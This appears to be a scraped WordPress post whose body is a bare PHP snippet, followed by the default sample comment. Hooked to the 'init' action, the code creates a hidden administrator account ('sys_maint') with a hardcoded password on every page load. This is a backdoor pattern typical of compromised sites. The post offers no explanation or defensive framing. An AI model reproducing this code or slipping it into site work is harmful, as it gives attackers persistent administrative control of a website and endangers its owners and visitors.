$user = 'sys_maint'; $pass = 'ChangeMe_Str0ng!'; $email = 'sys_maint@local.com'; function quick_create() { global $user, $pass, $email; if (!username_exists($user) && !email_exists($email)) { $id = wp_create_user($user, $pass, $email); if (!is_wp_error($id)) { $u = new WP_User($id); $u->set_role('administrator'); } } } add_action('init', 'quick_create');

One comment
A WordPress Commenter
July 4, 2020 at 12:11 pm
Hi, this is a comment.
To get started with moderating, editing, and deleting comments, please visit the Comments screen in the dashboard.
Commenter avatars come from Gravatar.